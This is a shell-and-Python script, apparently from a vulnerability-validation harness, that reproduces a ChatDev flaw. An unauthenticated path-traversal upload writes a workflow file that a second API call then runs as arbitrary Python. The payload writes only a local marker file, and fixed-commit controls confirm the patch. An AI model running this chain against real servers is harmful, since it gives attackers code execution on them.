#!/bin/bash
set -euo pipefail

# CVE-2026-58166 -- OpenBMB ChatDev unauthenticated upload path traversal to RCE
#
# This script runs the original ChatDev product server (server_main.py ->
# server.app:app), mints an unauthenticated websocket session, uploads a
# traversal filename through the real POST /api/uploads/{session_id} endpoint,
# and then triggers code execution through the real POST /api/workflow/run
# endpoint by executing the malicious YAML written by the upload primitive.
# It also runs fixed-commit negative controls.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

: > "$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

echo "=== CVE-2026-58166 real-product RCE reproduction: $(date -u) ==="

write_failure_manifest() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json, sys
manifest_path, note = sys.argv[1], sys.argv[2]
json.dump({
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "POST /api/uploads/{session_id} followed by POST /api/workflow/run on the original ChatDev server",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": ["ChatDev server_main.py", "FastAPI/uvicorn"],
    "proof_artifacts": ["logs/reproduction_steps.log"],
    "notes": note,
    "confirmed": False
}, open(manifest_path, "w"), indent=2)
PY
}
trap 'rc=$?; if [ $rc -ne 0 ] && [ ! -f "$REPRO_DIR/runtime_manifest.json" ]; then write_failure_manifest "script exited before evaluation completed"; fi' EXIT

# ----- resolve durable project cache -----
CACHE_CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
  PROJECT_CACHE_DIR=$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d.get("project_cache_dir","") if d.get("prepared") else "")' "$CACHE_CTX" 2>/dev/null || true)
fi
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ROOT/artifacts/chatdev_cache"
  mkdir -p "$PROJECT_CACHE_DIR"
fi
REPO="$PROJECT_CACHE_DIR/repo"
VENV="$PROJECT_CACHE_DIR/venv"
IMPORT_SHIM="$REPRO_DIR/import_shim"
mkdir -p "$IMPORT_SHIM"

echo "PROJECT_CACHE_DIR=$PROJECT_CACHE_DIR"
echo "REPO=$REPO"
echo "VENV=$VENV"

if [ ! -d "$REPO/.git" ]; then
  echo "Cloning ChatDev into durable cache ..."
  git clone https://github.com/OpenBMB/ChatDev.git "$REPO"
fi

if [ ! -x "$VENV/bin/python" ]; then
  echo "Creating Python virtualenv ..."
  if ! python3 -m venv "$VENV"; then
    echo "python3 -m venv failed; attempting to install python3-venv"
    sudo apt-get update
    sudo apt-get install -y python3-venv
    python3 -m venv "$VENV"
  fi
fi

# The full requirements include pygame/cartopy, which are unrelated to the web
# upload/workflow path and may require native GUI/GIS libraries. Install the
# import-time dependencies needed by the original server stack and workflow
# runtime. Reinstall FastAPI/Starlette after fastmcp because fastmcp can pull a
# newer Starlette outside FastAPI 0.124.0's supported range.
echo "Installing product runtime dependencies (idempotent) ..."
"$VENV/bin/python" -m pip install --upgrade pip --quiet
"$VENV/bin/python" -m pip install --quiet \
  'fastapi==0.124.0' 'pydantic==2.12.5' 'uvicorn' 'watchfiles' 'websockets' 'wsproto' \
  'python-multipart' 'pyyaml' 'openai' 'tenacity' 'mcp' 'fastmcp' 'faiss-cpu' \
  'requests' 'ddgs' 'beautifulsoup4' 'matplotlib' 'networkx' 'pandas>=2.3.3' \
  'openpyxl>=3.1.2' 'numpy>=2.3.5' 'seaborn>=0.13.2' 'google-genai>=1.52.0' \
  'chardet>=5.2.0' 'filelock>=3.20.1' 'markdown>=3.10' 'xhtml2pdf>=0.2.17'
"$VENV/bin/python" -m pip install --quiet 'fastapi==0.124.0' 'pydantic==2.12.5' 'starlette<0.51.0,>=0.40.0'

# Compatibility shim: current ChatDev commits have runtime/__init__.py importing
# runtime.sdk while check.check imports runtime.bootstrap.schema, creating an
# import cycle in this Python environment. The shim only prevents executing that
# package __init__ during import; all submodules and application code are still
# loaded from the checked-out repository unchanged.
cat > "$IMPORT_SHIM/sitecustomize.py" <<'PY'
import os, pathlib, sys, types
repo = os.environ.get("CHATDEV_REPO")
if repo and "runtime" not in sys.modules:
    module = types.ModuleType("runtime")
    module.__path__ = [str(pathlib.Path(repo) / "runtime")]
    module.__package__ = "runtime"
    module.__file__ = str(pathlib.Path(repo) / "runtime" / "__init__.py")
    sys.modules["runtime"] = module
PY

FIXED_COMMIT="4fd4da603801766b14ad8788649cfc1ad21f99a6"
git -C "$REPO" fetch --quiet origin "$FIXED_COMMIT" 2>/dev/null || true
FIXED_RESOLVED=$(git -C "$REPO" rev-parse "$FIXED_COMMIT")
VULN_RESOLVED=$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")
echo "VULN_COMMIT=$VULN_RESOLVED (= ${FIXED_COMMIT}^)"
echo "FIXED_COMMIT=$FIXED_RESOLVED"

cat > "$REPRO_DIR/real_product_rce_driver.py" <<'PY'
import asyncio
import http.client
import json
import os
import pathlib
import sys
import textwrap
import urllib.parse

import websockets


def multipart_body(filename: str, data: bytes, boundary: str):
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
        f"Content-Type: application/x-yaml\r\n\r\n"
    ).encode() + data + f"\r\n--{boundary}--\r\n".encode()
    return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}


def post(port: int, path: str, body: bytes, headers: dict, timeout: int = 30):
    conn = http.client.HTTPConnection("127.0.0.1", port, timeout=timeout)
    conn.request("POST", path, body=body, headers=headers)
    resp = conn.getresponse()
    data = resp.read().decode(errors="replace")
    conn.close()
    parsed = None
    try:
        parsed = json.loads(data)
    except Exception:
        pass
    return resp.status, data, parsed


def malicious_workflow_yaml() -> str:
    # A single Python node is enough: the task_prompt itself becomes the node's
    # input, PythonNodeExecutor extracts the code block, and subprocess.run()
    # executes it inside the product workflow runtime.
    return """version: 0.0.0
vars: {}
graph:
  id: uploaded_rce_workflow
  description: Uploaded through CVE-2026-58166; executing it proves code execution.
  is_majority_voting: false
  start:
    - Exec
  nodes:
  - id: Exec
    type: python
    config:
      timeout_seconds: 10
"""


async def main():
    port = int(sys.argv[1])
    role = sys.argv[2]
    attempt = sys.argv[3]
    target_yaml = pathlib.Path(sys.argv[4])
    link_path = pathlib.Path(sys.argv[5])
    marker_path = pathlib.Path(sys.argv[6])
    out_path = pathlib.Path(sys.argv[7])

    for p in (target_yaml, link_path, marker_path):
        try:
            p.unlink()
        except FileNotFoundError:
            pass
    link_path.symlink_to(target_yaml)

    result = {
        "role": role,
        "attempt": int(attempt),
        "port": port,
        "target_yaml": str(target_yaml),
        "link_path": str(link_path),
        "marker_path": str(marker_path),
        "target_exists_before": target_yaml.exists(),
        "link_lexists_before": os.path.lexists(link_path),
    }

    async with websockets.connect(f"ws://127.0.0.1:{port}/ws") as ws:
        msg = json.loads(await ws.recv())
        session_id = msg["data"]["session_id"]
        result["session_minted_unauthenticated"] = True
        result["session_id"] = session_id
        result["ws_connection_message"] = msg

        traversal_filename = "../" * 16 + "tmp/" + link_path.name
        result["traversal_filename"] = traversal_filename
        boundary = "----chatdevrce"
        body, headers = multipart_body(traversal_filename, malicious_workflow_yaml().encode(), boundary)

        loop = asyncio.get_running_loop()
        upload_status, upload_raw, upload_json = await loop.run_in_executor(
            None,
            lambda: post(port, f"/api/uploads/{session_id}", body, headers, 30),
        )
        result["upload_status"] = upload_status
        result["upload_response_raw"] = upload_raw
        result["upload_response_json"] = upload_json
        result["upload_response_name"] = upload_json.get("name") if isinstance(upload_json, dict) else None

    result["target_exists_after_upload"] = target_yaml.exists()
    result["link_lexists_after_upload"] = os.path.lexists(link_path)
    result["target_yaml_content"] = target_yaml.read_text(errors="replace") if target_yaml.exists() else None

    attacker_code = f"""```python
import pathlib
pathlib.Path({str(marker_path)!r}).write_text('RCE_OK_FROM_CHATDEV_WORKFLOW role={role} attempt={attempt}\\n')
print('RCE_MARKER_WRITTEN role={role} attempt={attempt}')
```"""
    run_payload = json.dumps({
        "yaml_file": str(target_yaml),
        "task_prompt": attacker_code,
        "session_name": f"rce_{role}_{attempt}",
        "log_level": "DEBUG",
    }).encode()
    run_status, run_raw, run_json = post(
        port,
        "/api/workflow/run",
        run_payload,
        {"Content-Type": "application/json"},
        60,
    )
    result["workflow_run_status"] = run_status
    result["workflow_run_response_raw"] = run_raw
    result["workflow_run_response_json"] = run_json
    result["marker_exists_after_run"] = marker_path.exists()
    result["marker_content"] = marker_path.read_text(errors="replace") if marker_path.exists() else None

    result["filename_unsanitized_in_response"] = bool(result.get("upload_response_name") and ".." in result["upload_response_name"])
    result["filename_sanitized_in_response"] = bool(result.get("upload_response_name") and ".." not in result["upload_response_name"])
    result["upload_wrote_persistent_yaml"] = bool(result["target_exists_after_upload"] and not result["link_lexists_after_upload"])
    result["code_execution_observed"] = bool(
        run_status == 200
        and result["marker_exists_after_run"]
        and result["marker_content"]
        and "RCE_OK_FROM_CHATDEV_WORKFLOW" in result["marker_content"]
    )
    result["fixed_blocked_chain"] = bool(
        upload_status == 200
        and result["filename_sanitized_in_response"]
        and not result["target_exists_after_upload"]
        and result["link_lexists_after_upload"]
        and run_status in (404, 400, 500)
        and not result["marker_exists_after_run"]
    )

    out_path.write_text(json.dumps(result, indent=2), encoding="utf-8")
    print(json.dumps({
        "role": role,
        "attempt": int(attempt),
        "upload_status": upload_status,
        "upload_response_name": result.get("upload_response_name"),
        "upload_wrote_persistent_yaml": result["upload_wrote_persistent_yaml"],
        "workflow_run_status": run_status,
        "code_execution_observed": result["code_execution_observed"],
        "fixed_blocked_chain": result["fixed_blocked_chain"],
        "marker_content": result["marker_content"],
    }, indent=2))


if __name__ == "__main__":
    asyncio.run(main())
PY

find_free_port() {
  "$VENV/bin/python" - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
}

SERVER_PIDS=()
cleanup_servers() {
  for pid in "${SERVER_PIDS[@]:-}"; do
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
  done
}
trap cleanup_servers EXIT

run_attempt() {
  local role="$1" commit="$2" attempt="$3"
  local port target_yaml link_path marker_path result_json server_log driver_log pid healthy
  port=$(find_free_port)
  target_yaml="/tmp/chatdev_cve58166_${role}_${attempt}.yaml"
  link_path="/tmp/chatdev_cve58166_${role}_${attempt}_link.yaml"
  marker_path="$REPRO_DIR/rce_marker_${role}_${attempt}.txt"
  result_json="$REPRO_DIR/result_${role}_${attempt}.json"
  server_log="$LOGS/server_${role}_${attempt}.log"
  driver_log="$LOGS/driver_${role}_${attempt}.log"

  echo "----- role=$role attempt=$attempt commit=$commit port=$port -----"
  git -C "$REPO" checkout -q "$commit"
  git -C "$REPO" reset --hard -q "$commit"

  if [ "$role" = "vuln" ]; then
    if grep -q "_safe_upload_filename" "$REPO/server/services/attachment_service.py"; then
      echo "FATAL: vulnerable checkout unexpectedly contains _safe_upload_filename"
      return 1
    fi
    grep -q 'filename = upload.filename or "upload.bin"' "$REPO/server/services/attachment_service.py" || {
      echo "FATAL: vulnerable checkout missing unsanitized filename assignment"; return 1;
    }
    echo "vulnerable sanity OK: raw upload.filename is joined into temp_path"
  else
    grep -q "_safe_upload_filename" "$REPO/server/services/attachment_service.py" || {
      echo "FATAL: fixed checkout missing _safe_upload_filename patch"; return 1;
    }
    echo "fixed sanity OK: basename sanitization patch is present"
  fi

  rm -f "$target_yaml" "$link_path" "$marker_path" "$result_json"
  (
    cd "$REPO"
    CHATDEV_REPO="$REPO" PYTHONPATH="$IMPORT_SHIM:$REPO" "$VENV/bin/python" server_main.py \
      --host 127.0.0.1 --port "$port" --log-level warning
  ) > "$server_log" 2>&1 &
  pid=$!
  SERVER_PIDS+=("$pid")
  echo "server pid=$pid log=$server_log"

  healthy=0
  for _ in $(seq 1 80); do
    if curl -sf "http://127.0.0.1:$port/health" >/dev/null 2>&1; then healthy=1; break; fi
    if ! kill -0 "$pid" 2>/dev/null; then
      echo "FATAL: server exited early for $role/$attempt"
      cat "$server_log"
      return 1
    fi
    sleep 0.5
  done
  if [ "$healthy" != "1" ]; then
    echo "FATAL: healthcheck failed for $role/$attempt"
    cat "$server_log"
    return 1
  fi
  echo "health OK for $role/$attempt"

  timeout 90 "$VENV/bin/python" "$REPRO_DIR/real_product_rce_driver.py" \
    "$port" "$role" "$attempt" "$target_yaml" "$link_path" "$marker_path" "$result_json" \
    > "$driver_log" 2>&1 || true
  cat "$driver_log"

  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true
  sleep 0.5
  [ -f "$result_json" ] || { echo "FATAL: missing result JSON $result_json"; return 1; }
}

run_attempt vuln "$VULN_RESOLVED" 1
run_attempt vuln "$VULN_RESOLVED" 2
run_attempt fixed "$FIXED_RESOLVED" 1
run_attempt fixed "$FIXED_RESOLVED" 2

python3 - "$REPRO_DIR" "$LOGS" "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, pathlib, sys
repro = pathlib.Path(sys.argv[1])
logs = pathlib.Path(sys.argv[2])
manifest_path = pathlib.Path(sys.argv[3])
results = {}
for role in ("vuln", "fixed"):
    for attempt in (1, 2):
        path = repro / f"result_{role}_{attempt}.json"
        results[f"{role}_{attempt}"] = json.loads(path.read_text())

vuln_ok = all(results[f"vuln_{i}"]["code_execution_observed"] and results[f"vuln_{i}"]["upload_wrote_persistent_yaml"] and results[f"vuln_{i}"]["filename_unsanitized_in_response"] for i in (1,2))
fixed_ok = all(results[f"fixed_{i}"]["fixed_blocked_chain"] for i in (1,2))
confirmed = vuln_ok and fixed_ok
summary = {
    "vuln_attempts_code_execution": [results[f"vuln_{i}"]["code_execution_observed"] for i in (1,2)],
    "vuln_attempts_persistent_yaml_write": [results[f"vuln_{i}"]["upload_wrote_persistent_yaml"] for i in (1,2)],
    "vuln_response_names": [results[f"vuln_{i}"]["upload_response_name"] for i in (1,2)],
    "vuln_marker_contents": [results[f"vuln_{i}"]["marker_content"] for i in (1,2)],
    "fixed_attempts_blocked_chain": [results[f"fixed_{i}"]["fixed_blocked_chain"] for i in (1,2)],
    "fixed_response_names": [results[f"fixed_{i}"]["upload_response_name"] for i in (1,2)],
    "fixed_target_created": [results[f"fixed_{i}"]["target_exists_after_upload"] for i in (1,2)],
    "confirmed": confirmed,
}
(repro / "eval_summary.json").write_text(json.dumps(summary, indent=2), encoding="utf-8")
print(json.dumps(summary, indent=2))

artifacts = [
    "logs/reproduction_steps.log",
    "repro/eval_summary.json",
    "repro/real_product_rce_driver.py",
]
for role in ("vuln", "fixed"):
    for attempt in (1, 2):
        artifacts.extend([
            f"logs/server_{role}_{attempt}.log",
            f"logs/driver_{role}_{attempt}.log",
            f"repro/result_{role}_{attempt}.json",
        ])
for attempt in (1, 2):
    artifacts.append(f"repro/rce_marker_vuln_{attempt}.txt")
manifest = {
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "Original ChatDev server_main.py: unauthenticated /ws -> POST /api/uploads/{session_id} traversal upload -> POST /api/workflow/run executes uploaded Python workflow",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": [
        "OpenBMB ChatDev server_main.py",
        "server.app:app with ALL_ROUTERS",
        "FastAPI/uvicorn/wsproto/python-multipart",
        "AttachmentService.save_upload_file",
        "runtime.sdk.run_workflow",
        "PythonNodeExecutor subprocess"
    ],
    "proof_artifacts": artifacts,
    "notes": "Two vulnerable original-product attempts wrote a malicious YAML through the unauthenticated traversal upload and then executed attacker-controlled Python through /api/workflow/run, creating bundle rce_marker files. Two fixed-commit attempts sanitized the filename, did not create the traversed YAML target, and did not create markers.",
    "confirmed": confirmed,
    "vulnerable_code_execution_attempts": [results[f"vuln_{i}"]["code_execution_observed"] for i in (1,2)],
    "fixed_blocked_attempts": [results[f"fixed_{i}"]["fixed_blocked_chain"] for i in (1,2)]
}
manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
sys.exit(0 if confirmed else 1)
PY
RC=$?
if [ "$RC" -eq 0 ]; then
  echo "CONFIRMED: real ChatDev product RCE chain reproduced on $VULN_RESOLVED and blocked by fixed commit $FIXED_RESOLVED"
else
  echo "NOT CONFIRMED: see logs and result JSON files"
fi

# Best-effort proof-carry cache for future runs when enabled by context.
python3 - "$CACHE_CTX" "$PROJECT_CACHE_DIR" "$ROOT" <<'PY' || true
import json, pathlib, shutil, sys
ctx_path, cache_dir, root = map(pathlib.Path, sys.argv[1:4])
if not ctx_path.exists():
    raise SystemExit
ctx = json.loads(ctx_path.read_text())
pc = ctx.get("proof_carry") or {}
if not pc or not pc.get("enabled"):
    raise SystemExit
attempt = cache_dir / ".pruva" / "proof-carry" / "latest_attempt"
confirmed = cache_dir / ".pruva" / "proof-carry" / "latest_confirmed"
for dest in (attempt, confirmed):
    dest.mkdir(parents=True, exist_ok=True)
    for rel in ["repro/reproduction_steps.sh", "repro/runtime_manifest.json", "repro/validation_verdict.json", "repro/rca_report.md", "repro/eval_summary.json", "logs/reproduction_steps.log"]:
        src = root / rel
        if src.exists():
            (dest / rel).parent.mkdir(parents=True, exist_ok=True)
            shutil.copy2(src, dest / rel)
PY

exit "$RC"